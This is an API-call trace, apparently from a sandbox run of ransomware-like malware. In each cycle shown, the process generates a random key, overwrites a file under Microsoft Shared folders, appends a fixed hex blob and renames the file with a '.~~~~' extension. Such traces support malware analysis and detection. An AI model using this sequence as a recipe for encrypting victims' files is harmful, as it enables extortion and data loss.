	[0087.105] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.105] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.105] CloseHandle (hObject=0x124) returned 1
	[0087.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6f40
	[0087.105] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll.~~~~")) returned 1
	[0087.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6f40 | out: hHeap=0x300000) returned 1
	[0087.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0087.106] GetLastError () returned 0x0
	[0087.252] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0087.273] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.273] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0087.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0087.283] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20727305897) returned 1
	[0087.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9dd46330, dwHighDateTime=0x1d60e1e)) 
	[0087.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0087.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0087.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0087.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6fb8
	[0087.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6fb8 | out: hHeap=0x300000) returned 1
	[0087.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6f40
	[0087.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c00
	[0087.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6f40 | out: hHeap=0x300000) returned 1
	[0087.284] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0087.284] GetLastError () returned 0x0
	[0087.284] GetLastError () returned 0x0
	[0087.284] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0087.284] GetLastError () returned 0x0
	[0087.284] GetLastError () returned 0x0
	[0087.288] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.288] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0087.289] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.289] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.291] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.292] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.292] CloseHandle (hObject=0x124) returned 1
	[0087.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f59a8
	[0087.292] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll.~~~~")) returned 1
	[0087.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f59a8 | out: hHeap=0x300000) returned 1
	[0087.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0087.293] GetLastError () returned 0x0
	[0087.766] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0087.773] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0087.774] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0087.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0087.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0087.774] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20776399574) returned 1
	[0087.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9e208f30, dwHighDateTime=0x1d60e1e)) 
	[0087.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0087.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0087.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0087.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6df8
	[0087.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6df8 | out: hHeap=0x300000) returned 1
	[0087.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b64c0
	[0087.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c98
	[0087.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0087.775] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0087.775] GetLastError () returned 0x0
	[0087.775] GetLastError () returned 0x0
	[0087.775] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0087.775] GetLastError () returned 0x0
	[0087.779] GetLastError () returned 0x0
	[0087.807] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.807] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0087.809] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.809] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.809] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.809] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.809] CloseHandle (hObject=0x128) returned 1
	[0087.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5dc0
	[0087.810] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.~~~~")) returned 1
	[0087.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5dc0 | out: hHeap=0x300000) returned 1
	[0087.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0087.811] GetLastError () returned 0x0
	[0087.813] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0087.814] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0087.814] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0087.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0087.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0087.815] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20780471288) returned 1
	[0087.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9e2551f0, dwHighDateTime=0x1d60e1e)) 
	[0087.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0087.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0087.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0087.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6c70
	[0087.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6c70 | out: hHeap=0x300000) returned 1
	[0087.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0087.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2030
	[0087.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0087.816] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0087.816] GetLastError () returned 0x0
	[0087.816] GetLastError () returned 0x0
	[0087.816] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0087.816] GetLastError () returned 0x0
	[0087.816] GetLastError () returned 0x0
	[0087.819] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffc0b0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.819] WriteFile (in: hFile=0x128, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0x3f50, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x25dfec0*=0x3f50, lpOverlapped=0x0) returned 1
	[0087.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0087.820] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.820] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.820] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.820] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.820] CloseHandle (hObject=0x128) returned 1
	[0087.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6bf8
	[0087.820] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.~~~~")) returned 1
	[0087.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6bf8 | out: hHeap=0x300000) returned 1
	[0087.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0087.821] GetLastError () returned 0x0
	[0087.822] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0087.823] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0087.824] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0087.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0087.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0087.824] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20781390060) returned 1
	[0087.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9e27b350, dwHighDateTime=0x1d60e1e)) 
	[0087.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0087.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0087.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0087.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6a08
	[0087.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6a08 | out: hHeap=0x300000) returned 1
	[0087.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6bf8
	[0087.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1b70
	[0087.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6bf8 | out: hHeap=0x300000) returned 1
	[0087.824] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0087.825] GetLastError () returned 0x0
	[0087.825] GetLastError () returned 0x0
	[0087.825] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0087.825] GetLastError () returned 0x0
	[0087.825] GetLastError () returned 0x0
	[0087.828] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffaab0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.828] WriteFile (in: hFile=0x128, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0x5550, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x25dfec0*=0x5550, lpOverlapped=0x0) returned 1
	[0087.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0087.829] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.829] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.829] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.829] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.829] CloseHandle (hObject=0x128) returned 1
	[0087.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6bf8
	[0087.830] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.~~~~")) returned 1
	[0087.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6bf8 | out: hHeap=0x300000) returned 1
	[0087.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0087.830] GetLastError () returned 0x0
	[0088.091] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0088.092] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.092] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0088.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0088.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0088.092] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20808235528) returned 1
	[0088.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9e4dc950, dwHighDateTime=0x1d60e1e)) 
	[0088.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0088.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0088.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0088.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9858
	[0088.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9858 | out: hHeap=0x300000) returned 1
	[0088.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3ae7a0
	[0088.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b64c0
	[0088.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae7a0 | out: hHeap=0x300000) returned 1
	[0088.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c98
	[0088.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0088.093] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.093] GetLastError () returned 0x0
	[0088.093] GetLastError () returned 0x0
	[0088.093] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.093] GetLastError () returned 0x0
	[0088.093] GetLastError () returned 0x0
	[0088.098] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffd678, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.098] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2988, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x2988, lpOverlapped=0x0) returned 1
	[0088.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
